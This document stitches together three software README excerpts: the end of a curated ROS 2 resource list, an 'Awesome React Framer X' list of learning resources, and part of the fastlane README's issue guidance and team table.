Study](https://www.semanticscholar.org/paper/Real-Time-Characteristics-of-ROS-2.0-in-Multiagent-Park-Delgado/8fa5b9443b33dd20c33be9a4259d92b238310a5c) - [Response-Time Analysis of ROS 2 Processing Chains Under Reservation-Based Scheduling](https://www.semanticscholar.org/paper/Response-Time-Analysis-of-ROS-2-Processing-Chains-Casini-Bla%C3%9F/6fa472cc45f6de22f2a26114441d595534a80a92) - [Robot Operating System 2 - The need for a holistic security approach to robotic architectures](http://journals.sagepub.com/doi/pdf/10.1177/1729881418770011) - Ubuntu 16.04, ROS 2 Beta 2/3, and RTI 5.3 DDS with DDS Security. - [Maruyama, Yuya et al. “Exploring the performance of ROS2.” 2016 International Conference on Embedded Software (EMSOFT) (2016): 1-10.](https://www.semanticscholar.org/paper/Exploring-the-performance-of-ROS2-Maruyama-Kato/07b895f3b584dea4f64e91844f243de382026b20) ## Podcasts - [ROS 2 and DDS for IoT devices with HaoChih Lin (from 5th minute onwards)](http://www.theconstructsim.com/rdp-017-ros-2-dds-iot-haochih/) - [Everything about ROS 2 with Dirk Thomas (from 16th minute onwards)](http://www.theconstructsim.com/rdp-012-all-about-ros2-with-dirk-thomas/) ## Services ### Cloud robotics - [robolaunch](https://www.robolaunch.io/) ### Robotics Capture the Flag (RCTF) - [rctf-list](https://github.com/aliasrobotics/RCTF) - A list of Robotics CTF (RCTF) scenarios. ## Companies - [Acutronic Robotics](https://github.com/AcutronicRobotics) - Not existing anymore. Initiators of the Hardware Robot Information Model (HRIM), Hardware Robot Operating System (H-ROS) and creators of the world's first modular industrial robot arm MARA. - [ADLINK](https://www.adlinktech.com/en/index.aspx) - "Leading EDGE COMPUTING". - [Alias Robotics](https://aliasrobotics.com/) - Products and services in the context of robot cybersecurity. - [Amazon](https://github.com/aws-robotics) - Robotics Team of Amazon Amazon Web Services (AWS). - [Apex.AI](https://www.apex.ai/) - "Safe and certified software for autonomous mobility". - [AutonomouStuff](https://autonomoustuff.com) - "The world leader in autonomy systems and solutions". - [Bosch](https://github.com/boschresearch) - Robotics Team of Bosch Research. - [Canonical](https://canonical.com/) - The company behind Ubuntu. - [Eprosima](https://www.eprosima.com/) - "The middleware experts". - [Ericsson Research](https://discourse.ros.org/t/transport-priority-qos-policy-to-solve-ip-flow-ambiguity-while-requesting-5g-network-qos/15332) - Connect ROS2 applications to 5G networks for M2M communication. - [FARobot](https://www.farobottech.com/) - Swarm Robot System, a ROS 2/DDS based Fleet Management System. - [Fraunhofer Institute for Manufacturing Engineering and Automation IPA](https://www.ipa.fraunhofer.de/en/expertise/robot-and-assistive-systems.html) - Robot and assistive systems. - [GESTALT ROBOTICS](https://www.gestalt-robotics.com/en/home) - Service provider for intelligent automation. - [Husarnet](https://husarnet.com) - Open Source, P2P, low-latency VPN dedicated for robots. - [iRobot](https://www.irobot.de/) - Manufacturer of vacuuming and mopping robots. - [Klepsydra Technologies](https://www.klepsydra.com/). - [MathWorks](https://de.mathworks.com/help/ros/index.html) - ROS Toolbox. - [Mission Robotics](https://missionrobotics.us/) - Hardware and Software for a new era of Marine Intelligence. - [Roboception GmbH](https://roboception.com/en/) - Real-Time Perception for Your Robot. - [ROBOOX](https://roboox.co/) - OPEN-SOURCE SOFTWARE ECOSYSTEM FOR CONSUMER ROBOTS. - [Rover Robotics](https://roverrobotics.com/) - Rugged, industrial-grade robots. - [Sony Corporation](https://www.sony.net/SonyInfo/technology/element/robotics/). - [synapticon](https://www.synapticon.com/technology) - ROS compatible motion control and drive products with efforts to support ROS2. - [Wind River](https://labs.windriver.com/ros2-for-vxworks/) - ROS2 for VxWorks. ## Organizations - [U.S. Department of Transportation](https://discourse.ros.org/t/carma-migrating-to-ros-2-with-cyclonedds-and-zenoh/17541) ## Working Groups - Edge AI Working Group - [Discourse threads tagged "wg-edgeai"](https://discourse.ros.org/tag/wg-edgeai) - Embedded Working Group - [Discourse threads tagged "wg-embedded"](https://discourse.ros.org/tags/wg-embedded) - Hardware Acceleration Working Group - [Discourse threads tagged "wg-acceleration"](https://discourse.ros.org/tag/wg-acceleration) - Navigation Working Group - [Discourse threads tagged "wg-navigation"](https://discourse.ros.org/tags/wg-navigation) - Safety Working Group - [Safety Working Group Landing Page](http://www.ros2.org/safety_working_group/) - [Safety Design Pattern Catalogue](http://www.ros2.org/safety_working_group/safety_patterns_catalogue.html) - Security Working Group - [Discourse threads tagged "wg-security"](https://discourse.ros.org/tags/wg-security) - [ros-security/community](https://github.com/ros-security/community) - Outlines the governance of the ROS 2 Security Working Group. - Technical Steering Committee - [Discourse threads tagged "tsc"](https://discourse.ros.org/tags/tsc) - Tooling Working Group - [Discourse threads tagged "wg-tooling"](https://discourse.ros.org/tags/wg-tooling) ## License [](https://creativecommons.org/licenses/by-nc-sa/4.0/)

# Awesome React Framer X [](https://awesome.re) This is an awesome list with links to courses, tutorials & videos to learn everything about [React](https://reactjs.org/), [ES6](https://tc39.github.io/ecma262/) & Framer X. [](https://www.framer.com/r/discord) [](http://opensource.org/licenses/MIT) ## What is Framer X? [Framer X](https://framer.com/x) is a powerful Interaction Design tool. Please read the **[Official Documentation](https://framer.com/docs/)**. Framer X comes with a variety of features and capabilities like a Design Store of reusable UI components (powered by NPM). On the store, you will find a collection of interactive design & code components such as maps, random image generators, video and audio players, Design System Kits (iOS & Android) and more. React components on Framer X can be written in **`TypeScript`** and/or **`ES6`**. ### Getting started with React - [React Docs](https://reactjs.org/docs/getting-started.html) - Make sure to check out the new React Docs. It's an overview of the most useful resources, including the [Intro to React](https://reactjs.org/tutorial/tutorial.html) tutorial. - [ES6 / React Cheatsheet](https://paper.dropbox.com/doc/ES6-React-Cheatsheet--Aa2OCPSNOAnhyUDegf4TpoAXAg-Th7joG9fFSSiyZgOFYqj6) by [Koen Bok](https://twitter.com/koenbok/), founder of Framer, made a super useful intro to ES6 & React for designers, covering all the essential parts [variables, functions, components, CSS, JSX and more]. ### For advanced React & Framer X users - Checkout the paper doc [An (Advanced) Guide to Code Components](https://paper.dropbox.com/doc/An-Advanced-Guide-to-Code-Components--AkrUh5o0qsAMw39IZj21hI0xAg-RYstwIIkmNbB5jPEQdgGz) by [Steve Ruiz](https://github.com/steveruizok/). ## Table of Contents - [Courses](#courses) - [Framer X Courses](#framer-x-courses) - [Free React Courses](#free-react-courses) - [Paid React Courses](#paid-react-courses) - [ES6 Courses](#es6-courses) - [Articles](#articles) - [Framer X Articles](#framer-x-articles) ✨ - [React & TypeScript Articles](#react--typescript-articles) - [Tools](#react-based-design-tools-online-tools-and-repls) - [Code Editors](#code-editors) - [Tutorials](#tutorials) - [Framer X Components, Tools & Tips](#framer-x-components--tools--tips) - [Community](#other-lists-communities-meetups-and-more) - 🔜 Video tutorials about Framer X and React ## Courses ### Framer X Courses - 🆓[Design + Code Free Framer X Course](https://designcode.io/framer-x-course) - Meng To & Team created an awesome 10 part crash course to learn all about the design & code parts of Framer X, including layouts, design components, stacks, code components, code overrides, using data on a code component and more. - 🆓[UI Interactions in Framer Playgrounds](https://designcode.io/framer-playground-ui-interactions) - Meng To & Team show how to build interactions and UI animations from scratch using React Hooks, the Framer X in-app editor, Overrides, Property Controls, Shared Colors, Variants and a whole lot more. - [Framer X + React](https://learnreact.design/framerx-react) - Linton Ye, from [learnreact.design](https://learnreact.design/) created a 5 part course to learn all about Framer X and React. The course covers the Framer X design capabilities such as frames, stacks, images, graphics, design components. The last 2 parts of the course include code overrides for animations and creating your first React components for Framer X. - [Design & Development Workflow with Framer X](https://www.lynda.com/Framer-X-tutorials/Design-Development-Workflow-Framer-X/800695-2.html) - Emmanuel Henri on Lynda.com. A deep dive into the designer to developer workflow, going over how React relates to Framer X and prototyping, as well as the proper guidelines to follow when creating designs for the web and mobile devices. - [The Framer X Book](https://framerbook.com/x/) – Tes Mat put together a complete resource to teach designers two of the main aspects of Framer X, Code Components, and Overrides. He describes how Code Components work and how to customize existing components from the store, then explain how to use Overrides, one of the ways to quickly make elements on your canvas interactive. ### Free React Courses - [Codecademy - React 101](https://www.codecademy.com/learn/react-101) - Develop a strong understanding of React's most essential concepts. - [Egghead.io: Start Learning React](https://egghead.io/courses/start-learning-react) - Explore the basic fundamentals of React to get you started, by [@joemaddalone](https://twitter.com/joemaddalone). - [Egghead.io: The Beginner's Guide to React](https://egghead.io/courses/the-beginner-s-guide-to-react) - For React newbies and those looking to get a better understanding of React fundamentals, by [@kentcdodds](https://twitter.com/kentcdodds). - [React Crash Course 2018](https://www.youtube.com/watch?v=Ke90Tje7VS0) - Learn React - React Tutorial with examples, by [@moshhamedani](http://www.twitter.com/moshhamedani) - [ReactJS Crash Course](https://youtu.be/A71aqufiNtQ) - Learn the fundamentals of React.js, by [@traversymedia](https://twitter.com/traversymedia) - [Source Code](https://github.com/bradtraversy/projectmanager). - [React JS Tutorials](https://www.youtube.com/playlist?list=PLoYCgNOIyGABj2GQSlDRjgvXtqfDxKm5b) - Get quickly up to pace with React.js development by LearnCode.academy. - [React Armory Learn React by Itself](https://reactarmory.com/guides/learn-react-by-itself) - Learn React without the buzzwords, by [@james_k_nelson](https://twitter.com/james_k_nelson). - [Free React boot camp](https://tylermcginnis.com/free-react-bootcamp/) - All of the recordings, links, and assignments from the "Free React.js Bootcamp", streamed live and recorded on during April 2018 by [@tylermcginnis](https://twitter.com/tylermcginnis). - [React Rapid Course](https://www.youtube.com/watch?v=MhkGQAoc7bc&list=PLoYCgNOIyGABj2GQSlDRjgvXtqfDxKm5b) - This React Course will help you get quickly up to pace with React.js development - [Source Code](https://github.com/learncodeacademy/react-js-tutorials). - [React for Designers](https://designcode.io/react-for-designers), made by [@meng_to](https://twitter.com/MengTo), a comprehensive guide intended for designers, covering everything from CSS styling to deploying your first React application. ### Paid React Courses - [React for Designers](https://designcode.io/react) - A 6-hour React course for designers, by designers. React for Designers is a free update, with a Design+Code account. - [Learn React](https://learnreact.design/) - Unleash Your Design Superpowers with this straightforward, with just enough JS, focused on UI design, layouts, styles, and animations, by [@lintonye](https://twitter.com/lintonye). - [React For Beginners](https://reactforbeginners.com/) - [Source Code](https://github.com/wesbos/React-For-Beginners-Starter-Files) - Learn React.js in just a couple of afternoons, by [@wesbos](https://twitter.com/wesbos). - [Essential React 2018](https://learnreact.com/lessons/2018-essential-react-1-overview) - A crash course for doers, moving fast from "Hello World" to advanced component composition, by [@chantastic](https://twitter.com/chantastic). Some sections of this course are free. - [Udemy: The Complete React Web Developer Course (with Redux)](https://www.udemy.com/react-2nd-edition/) - Learn how to build and launch React web applications using React v16. - [Udemy: Modern React with Redux](https://www.udemy.com/react-redux/) - Fundamentals of React, Redux, React Router, Webpack, and ES6, by [@ste_grider](https://twitter.com/ste_grider) - [Treehouse: Learn React:](https://teamtreehouse.com/tracks/learn-react) - Get up and running with React, a JavaScript library for building user interfaces, by [@jimrhoskins](https://twitter.com/jimrhoskins). - [Frontend Masters: Complete Intro to React, v3 (feat. Redux, Router & Flow)](https://frontendmasters.com/courses/react/) - Learn how to build real-world applications with React with Brian Holt. ### ES6 Courses - [Learn ES6](https://egghead.io/courses/learn-es6-ecmascript-2015) - This course takes a look at some of the new features of ES6, by [@johnlindquist](https://twitter.com/johnlindquist). - [ES6 for Everyone](https://es6.io/) - Improve your core JavaScript skills and master all that ES6 has to offer, by [@wesbos](https://twitter.com/wesbos). - [Introduction to ES6+](https://scrimba.com/g/gintrotoes6) - Learn modern JavaScript through 23 screencasts, by Per Harald Borgen - [Article](https://medium.freecodecamp.org/want-to-learn-es6-take-this-free-23-part-course-and-become-a-javascript-ninja-55002db1ff74). ### TypeScript Refrences - [Learn TypeScript](https://www.typescriptlang.org/docs/home.html) - Main documentation for TypeScript. - [TypeScript Cheatsheet](https://github.com/sw-yx/react-typescript-cheatsheet) - A TypeScript cheatsheet by [@swyx] and [@islamAttrash] - [React + TypeScript Example](https://github.com/Microsoft/TypeScript-React-Starter) - An example React + TypeScript project. ## Articles ### Framer X Articles - [Making things happen in Framer X](https://medium.com/@steveruiz/making-things-happen-in-framer-x-d579747e6d9d) - A very detailed answer to this recurring question on the Framer Slack Channel. “How do I make user interaction with one component produce a change in a different component?” – by Framer Design Educator [Steve Ruiz](https://twitter.com/steveruizok). - Jul 05, 2019. - [Going from Framer to Framer X](https://medium.com/@maxsteitle/going-from-framer-to-framer-x-166f1dcef8dd) — A simple guide for designers getting started with React and Framer X by [Max Steitle](https://twitter.com/MaxSteitle) - Apr 8, 2019 - [Build fast 3D map prototypes with Mapbox + Framer X](https://blog.mapbox.com/build-fast-3d-map-prototypes-with-mapbox-framer-x-df5202c5090a) - [Amy Lee Walton](https://twitter.com/amyleew) - Apr 3, 2019 - [Create an app from scratch using FramerX](https://medium.com/@PavelLaptev/create-an-app-from-the-stretch-using-framerx-9d15d06c8bdf) - [Pavel Laptev]() - March 30, 2019 - [Framer X: What Are Code Overrides?](https://medium.com/@titanas/framer-x-what-are-code-overrides-79040f171b5d) - by [Stefanos Kofopoulos](https://twitter.com/titanas) - March 28, 2019 - [Framer released Playground (Beta) and things just got real](https://blog.framer.com/framer-just-shipped-playgrounds-and-it-just-got-real-5d0d5e9f8b78) - [Addison Schultz](https://twitter.com/AddisonSchultz) - March 27, 2019 - [How to Preview and Share Framer X Prototypes](https://blog.framer.com/how-to-preview-and-share-framer-x-prototypes-e84165bf896b) - [Brett Bertola]() - March 20, 2019 - [How to pass text input to another screen in Framer X](https://medium.com/@lindforsadam/how-to-pass-text-input-to-another-screen-in-framer-x-bed88318704c) - [Adam Lindfors]() - March 19, 2019 - [Wide-Gamut Colors in Framer X](https://medium.com/@gusso/wide-gamut-colors-in-framer-x-5b07aa0012af) - [Henrique Gusso](https://twitter.com/gusso) - March 18, 2019 - [Framer X: Prototype with Accelerometer, Gyroscope and No Code](https://blog.prototypr.io/framer-x-prototype-with-accelerometer-gyroscope-and-no-code-92fb9e26ffb5) - by [Stefanos Kofopoulos](https://twitter.com/titanas) - March 8, 2019 - [React for Web Designers](https://www.framer.com/blog/posts/react-for-web-designers) - [Koen Bok](https://twitter.com/koenbok) - Feb 27, 2019 - [Simulate Media Query in Framer X](https://medium.com/@poyichen/simulate-media-query-in-framer-x-710337ffd2ee) - [Poyi Chen]() - Feb 23, 2019 - [Framer X: TechCrunch Mobile Site Prototype with No Code](https://blog.prototypr.io/framer-x-techcrunch-mobile-site-prototype-with-no-code-1c568b403e03) - by [Stefanos Kofopoulos](https://twitter.com/titanas) - Feb 18, 2019 - [Creating my first Framer X code component](https://medium.com/@_louimoody/creating-my-first-framer-x-code-component-ca1d4b9ab77) - [Louis Moody]() - Feb 14, 2019 - [Prototyping Advanced Scroll Interactions in Framer X](https://uxplanet.org/prototyping-advanced-scroll-interactions-in-framer-x-868caed5fccd) - [Linton Ye](https://twitter.com/lintonye) - Feb 8, 2019 - [Framer X: Using local JSON data to populate design components](https://blog.prototypr.io/framer-x-using-local-json-data-to-populate-design-components-302d453b4300) - [Chris Robinson]() - Feb 7, 2019 - [Framer X: Conditional rendering for design & code components](https://blog.prototypr.io/framer-x-conditional-rendering-for-design-code-components-ba4cb5cb00cd) - [Chris Robinson]() - Feb 6, 2019 - [Icon Property Controls in Framer X](https://medium.com/@steveruiz/icon-property-controls-in-framer-x-2f75ff4205d4) - Secret codes for spicier components. - by [Steve Ruiz](https://twitter.com/steveruizok). - Jan 10, 2019. - [The design team wants you to use Framer X, now what? The missing guide for developers](https://medium.com/@michaelkatz_23685/the-design-team-wants-you-to-use-framerx-now-what-the-missing-guide-for-developers-dd0783b98802) - Michael Katz explains Framer X from a developer standpoint, his experience after being asked to develop some prototyping tools for his design team. - by Michael Katz. - Jan 3, 2019. - [Share data between code components in Framer X](https://www.zauberware.com/en/articles/2018/share-data-between-code-components-in-framerx/) - [Simon Franzen](https://twitter.com/franzen_simon), software developer at [zauberware](https://twitter.com/zauberware), gives a step-by-step explanation of how to share data between code components., Jan 4, 2019. - [How to use custom fonts with Framer X](https://medium.com/@PavelLaptev/how-to-use-custom-fonts-with-framerx-b8ee3895cce0) - Designer [Pavel Laptev](https://twitter.com/DarioGraphics) describes a simple but efficient technique to embed web fonts on your FramerX project. - Dec 19, 2018. - [Professor Spot and inputs validation in Framer X](https://medium.com/@PavelLaptev/professor-spot-and-inputs-validation-in-framer-x-83da6d35f771) - Another super comprehensive (and illustrated) article by [Pavel Laptev](https://twitter.com/DarioGraphics) about form validation with React in Framer X. - Nov 12, 2018. - [How to create a styled-component in Framer X](https://www.zauberware.com/en/articles/2018/how-to-create-a-styled-component-in-framerx/) - [Simon Franzen](https://twitter.com/franzen_simon), software developer at [zauberware](https://twitter.com/zauberware), shows how to install [styled-components](https://github.com/styled-components/styled-components) for a Framer X project and how to create a basic button component., Oct 20, 2018. - [Building a working chat bot in Framer X](https://medium.com/@rrbarry11/building-a-working-chat-bot-in-framer-x-830aadcd98dc) - Designer [Ryan Barry](https://dribbble.com/ryanbarry) shows how to build a chat bot with Framer X. - Oct 12, 2018. - [Interactive maps in Framer X](https://blog.mapbox.com/interactive-maps-in-framer-x-aa3ab62e0cc0) - Prototype location experiences with no code required, by [Amy Lee Walton](https://twitter.com/amyleew) - Oct 11, 2018 - [How to use real data in Framer X](https://blog.prototypr.io/use-real-data-in-framer-x-3801834e3f59) - Designer [Pavel Laptev](https://twitter.com/DarioGraphics) shows how you can load and use real data on your Framer X prototypes. - Oct 6, 2018. - [Property Controls in Framer X](https://blog.framer.com/property-controls-in-framer-x-bdd550b5010c) - A complete guide that covers all about property controls, from images to fused numbers, by Framer Designer, [Benjamin den Boer](https://twitter.com/benjaminnathan) - Sep 29, 2018. - [Designing with real data](https://medium.com/dropbox-design/designing-with-real-data-5b64c0876858) - If you work on a product that has an internal API, Dropbox Designer [@zach\_\_johnston](https://twitter.com/zach__johnston) will show you how to learn some techniques to start designing with real data. - Sep 18, 2018. - [Framer X Beta overview and examples](https://medium.com/@PavelLaptev/framer-x-beta-overview-and-examples-58dba80a6865) - A comprehensive guide of everything you need to know about Framer X from setting up the code editor, debuging with the inspector, some basics about React, how a code component structure looks like, setting up external NPM modules, using Styled Components on a code component and more. Article by [Pavel Laptev](https://twitter.com/DarioGraphics). - Sep 17, 2018. - [An intro to {props.children} in Framer X](https://medium.com/@sebcglbailey/an-intro-to-props-children-in-framer-x-ccfda85c76d2) - A quick intro to the React's props.children concept applied in Framer X by [Seb Bailey](https://twitter.com/sebcglbailey) - Sep 16, 2018. - [Setting Props in Framer X](https://medium.com/@steveruiz/setting-props-in-framer-x-209dba59f606) - This is a super handy, four-part article about Props in React, in Framer X, how to set Property Controls on your own code component and which Property Control Types are available on Framer X Beta 3 by Designer/Developer, [Steve Ruiz](https://twitter.com/steveruizok). - Sep 10, 2018. - [How to create a simple prototype with Code Overrides in Framer X](https://medium.com/@benjaminnathan/how-to-create-a-simple-prototype-with-code-overrides-in-framer-x-4ab14a4b329d) - A thorough guide to code overrides, one of the new features of Framer X Beta 2 by Framer Designer, [Benjamin den Boer](https://twitter.com/benjaminnathan). Sep 9, 2018. - [Bringing Design System Components from Production into Framer X](https://medium.com/@shiftsave/bringing-design-system-components-from-production-into-framer-x-786e89be2250) - A super comprehensive guide for reusing Design Systems components inside Framer X by [Ivan Cruz](https://twitter.com/shiftsave/), Product Designer at Datadog. Check out the [source code](https://github.com/shiftsave/framerx-build-system), a build system to transpile and sync a production code component with Framer X. Aug 31, 2018. - [‪Framer X Beta: My first week‬](https://blog.prototypr.io/framer-x-beta-my-first-week-3afea1ec48ab) - Web & motion designer [Athanasia Lykoudi](https://twitter.com/sla1) shares her first impressions using Framer X. Aug 12, 2018. - [The Future of UI  —  Framer X](https://blog.prototypr.io/framer-x-preview-9d067f35cf9a) - Product Designer, [Antoine Plu](https://twitter.com/AntoinePlu) does a detailed review of the capabilities of this new tool. The article includes a screencast video, a speeded-up 3-hour stress test of Framer X. - [Framer X: the hype, the powers, the challenges and the grand vision](https://uxplanet.org/framer-x-the-hype-the-powers-the-challenges-and-the-grand-vision-b718e14b3c45) - [Linton Ye](https://twitter.com/lintonye) speculates about the future of Framer X and how this release defines Framer as the most ambitious Design Tool of 2018. - Jun 22, 2018. - [Building a Design System Ui Component Using Framer X](https://medium.com/harbor-school/building-a-design-system-ui-component-using-framer-x-59ad2ac7292e) - [ruucm](https://twitter.com/ruucm) wrote a simple article about how to make Design System Component using Framer X. - Jun 1, 2019. ### React & TypeScript Articles - [All React Conditional Rendering Techniques](https://www.robinwieruch.de/conditional-rendering-react/) - 8 techniques to performa a conditional rendering with React - by [@rwieruch](https://twitter.com/rwieruch). - Sep 21, 2018 - [10 TypeScript Pro Tips / Patterns](https://medium.com/@martin_hotell/10-typescript-pro-tips-patterns-with-or-without-react-5799488d6680) - 10 TypeScript Pro tips/patterns with (or without) React - by [Martin Hochel](https://twitter.com/martin_hotell). - Oct 29, 2018 - [Ultimate React Component Patterns with Typescript 2.8](https://levelup.gitconnected.com/ultimate-react-component-patterns-with-typescript-2-8-82990c516935) - Ultimate React Component Patterns with Typescript 2.8 - Stateful, Stateless, Default Props, Render Callbacks, Component Injection, Generic Components, High Order Components, Controlled Components - by [Martin Hochel](https://twitter.com/martin_hotell). - Feb 28, 2018 - [How to learn React.js in 2019](https://www.robinwieruch.de/learn-react-js/) - a comprehensive overview of how to approach learning React without getting distracted or overwhelmed. - by [@rwieruch](https://twitter.com/rwieruch). - Jan 1, 2019 - [React Semantic UI Tutorial for Beginners](https://www.robinwieruch.de/react-semantic-ui-tutorial/) - A tutorial to guide you through styling your React application with Semantic UI - by [@rwieruch](https://twitter.com/rwieruch). - Jan 6, 2019 - [JavaScript fundamentals before learning React](https://www.robinwieruch.de/javascript-fundamentals-react-requirements/) - "Often I find myself explaining more JS than React when teaching React in a workshop/online. That's why I have put all the important JS fundamentals (for React) in one extensive article" - by [@rwieruch](https://twitter.com/rwieruch). - [How to Learn React: A Five-Step Plan](https://www.lullabot.com/articles/how-to-learn-react) - These five steps, which should take a dedicated student about a week, will provide the foundation you need to get started, by [@\_\_jhannah](https://twitter.com/__jhannah). - [Learn React.js in 5 minutes](https://medium.freecodecamp.org/learn-react-js-in-5-minutes-526472d292f4) - A quick introduction to the popular JavaScript library, by Per Harald Borgen. - [Learning React.js is easier than you think](https://edgecoders.com/learning-react-js-is-easier-than-you-think-fbd6dc4d935a) - Learn the fundamentals of React.js in one Medium article. - [9 things every React.js beginner should know](https://camjackson.net/post/9-things-every-reactjs-beginner-should-know) - A list of tips to help you get a better foundation with React by [@thecamjackson](https://twitter.com/thecamjackson). - [Every UI Designer needs to learn React](https://blog.continuum.cl/every-ui-designer-needs-to-learn-react-heres-why-f2b8c2ff2c86) - Why we need to transition from a screen-based approach to a component-based approach and how React can help. Article by [@shesho](https://twitter.com/shesho). – [8 React conditional rendering methods](https://blog.logrocket.com/conditional-rendering-in-react-c6b0e5af381e) - JS de veloper, [@eh3rrera](https://twitter.com/eh3rrera) covers 8 conditional rendering methods in React and concludes that the ternary operator isn’t always the way to go. ### React based design tools, online tools and REPLs - [Framer Next](https://framernext.tech/) - A technical showcase of the Framer API Examples implemented within a production React application environment. Created by [@nataliemarleny](https://twitter.com/nataliemarleny). - [Transform](https://transform.now.sh/) - Tool to transform JS objects to get something useful [CSS-to-JS, CSS-to-Emotion, HTML-to-JSX and many more]. [Source](https://github.com/transform-it/transform-www). - [Guppy](https://github.com/joshwcomeau/guppy) - A friendly application manager and task runner for React.js. - [Iso](https://compositor.io/iso/) - Build and prototype with pure JSX – no build setup or command line required. - [Alva](https://github.com/meetalva/alva) - Alva is a React based Design Tool (in beta). - [React for Designers](http://reactfordesigners.com/) - A friendly guide to start learning React. Created by [@zach\_\_johnston](https://twitter.com/zach__johnston). [Source](https://github.com/zachj0hnston/reactfordesignersdotcom). - [HTMLtoJSX](https://magic.reactjs.net/htmltojsx.htm) - A web-based tool that converts HTML to JSX compatible with React (v15). - [SVG2JSX](https://svg2jsx.herokuapp.com/) - A web-based tool that converts SVG to valid JSX. - [React Patterns](https://reactpatterns.com/) - A comprehensive collection of 17 React patterns and practices, by [@chantastic](https://twitter.com/chantastic). - [React Cheat Sheet](https://reactcheatsheet.com/) - An interactive documentation tool for the latest React API, by [@chantastic](https://twitter.com/chantastic). - [React.js Cheatsheet](https://devhints.io/react) - A complete reference of components, properties and states, life cycle methods and more. ### Code Editors Framer X will not have a code editor. Good news is that you can install and customize your code editor. Here are the most popular ones. - [Visual Studio Code](https://code.visualstudio.com/download) - VS Code is a fast, lightweight, code editor developed by Microsoft. Is open source, comes with built-in support for `JavaScript`, `TypeScript` and `Node`. - [Framer X Code Snippets](https://marketplace.visualstudio.com/itemdetails?itemName=pixelbeat.vscode-framerx-code-snippets). - A collection of snippets for Framer X using React with versions on plain ES6 & TypeScript, made by [@pixelbeat](https://twitter.com/pixelbeat). - [Extensions for Visual Studio Code](https://marketplace.visualstudio.com/search?term=React&target=VSCode&category=All%20categories&sortBy=Relevance). - [Framer VS Code Theme](https://github.com/framer/syntax-vsc). - [Awesome VS Code List](https://github.com/viatsko/awesome-vscode). - [Sublime Text 3](https://www.sublimetext.com/3) - ST3 is a super fast and feature-packed code editor. Checkout [Package Control](https://packagecontrol.io/), the Sublime Text package manager. It includes a list of over 4,500 packages ready to install. - [Atom](https://atom.io/) - Atom is the code editor developed by Github. Ultra hackable, with tons of packages created by the community. - [Framer Atom Theme](https://github.com/framer/syntax-atom). - [Codesandbox](https://codesandbox.io/dashboard) - CodeSandbox is an online editor that helps you create web applications, from prototype to deployment. ## Tutorials - [How to learn React.js in 2019](https://www.robinwieruch.de/learn-react-js/) - How to learn React is high on the agenda for plenty of JavaScript developers for this year. The recent [State of JS](https://2018.stateofjs.com/front-end-frameworks/overview/) survey has shown that many developers are content with React for creating modern web applications. - Article by [Robin Wieruch](https://www.robinwieruch.de/). Jan 1, 2018. - [Tutorial: Intro to React](https://reactjs.org/tutorial/tutorial.html) - Build a game. Master the fundamentals to create a React app. - [What Is React?](https://learnreact.design/2017/06/08/what-is-react/) - React terms in plain English and doodles. - [Build with React - Tutorial](http://buildwithreact.com/tutorial) - Learn React quickly with this interactive tutorial. - [React Tutorial for Beginners](https://ihatetomatoes.net/react-tutorial-for-beginners/) - This React tutorial will explain everything in simple terms and plain English so you don’t feel overwhelmed or frustrated while learning React, by [@ihatetomatoes](https://twitter.com/ihatetomatoes). - [React Tutorial](https://tylermcginnis.com/reactjs-tutorial-a-comprehensive-guide-to-building-apps-with-react/) - A Comprehensive Guide to learning React.js in 2018, by [@tylermcginnis](https://twitter.com/tylermcginnis). ## Framer X Components, Tools & Tips #### Tools - [Framer Tools](https://github.com/steveruizok/framer-tools) - Create code components for your Framer X file right from the command line, created by [Steve Ruiz](https://twitter.com/steveruizok/). - [Framer X Build System](https://github.com/shiftsave/framerx-build-system) - A build system to transpile React components for use in Framer X - Check out the ([intro blog post](https://blog.prototypr.io/bringing-design-system-components-from-production-into-framer-x-786e89be2250)). #### Tips - [Framer X Tips](https://learnreact.design/tips) - A compilation of Framer X tricks and hidden gems, +50 so far and ground. Made by [Linton Ye](https://twitter.com/lintonye). New tips are welcomed, you can add yours using [this form](https://docs.google.com/forms/d/e/1FAIpQLSeznfS-ppvXa9cKI8v8-MRR_mIEcRJFysfRppi4JjNTPL0EKg/viewform)! ## Other lists, communities, meetups and more. - [Awesome React](https://github.com/enaqx/awesome-react) - A collection of awesome things regarding React ecosystem. - [Discussion forum at discuss.reactjs.org](https://discuss.reactjs.org/) - This forum is a great place for discussion about best practices and application architecture as well as the future of React. - [React.js meetup groups](https://www.meetup.com/topics/reactjs/): A great way to learn React.js is to get involved with their amazing community. There are more than 500 meetups around the world. Join! - [spectrum.chat/react](https://spectrum.chat/react) - A community of developers, designers and others who love React.js. - [spectrum.chat/framer](https://spectrum.chat/framer) - Another channel to share your prototypes and ask questions about Framer. - [Framer X Slack Channel](https://framer.slack.com/app_redirect?channel=framer-x) - Share your work, ask questions and help other Framer X enthusiasts! - [Framer React Slack Channel](https://framer.slack.com/app_redirect?channel=react) - If you have questions, resources or just want to share something, join us!

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Before submitting a new GitHub issue, please make sure to - Check out [docs.fastlane.tools](https://docs.fastlane.tools) - Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues) If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command. **Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions. ## _fastlane_ team <table id='team'> <tr> <td id='stefan-natchev'> <a href='https://github.com/snatchev'> <img src='https://github.com/snatchev.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4> </td> <td id='matthew-ellis'> <a href='https://github.com/matthewellis'> <img src='https://github.com/matthewellis.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4> </td> <td id='maksym-grebenets'> <a href='https://github.com/mgrebenets'> <img src='https://github.com/mgrebenets.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4> </td> <td id='olivier-halligon'> <a href='https://github.com/AliSoftware'> <img src='https://github.com/AliSoftware.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4> </td> <td id='jorge-revuelta-h'> <a href='https://github.com/minuscorp'> <img src='https://github.com/minuscorp.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4> </td> </tr> <tr> <td id='andrew-mcburney'> <a href='https://github.com/AndrewMcBurney'> <img src='https://github.com/AndrewMcBurney.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/armcburney'>Andrew 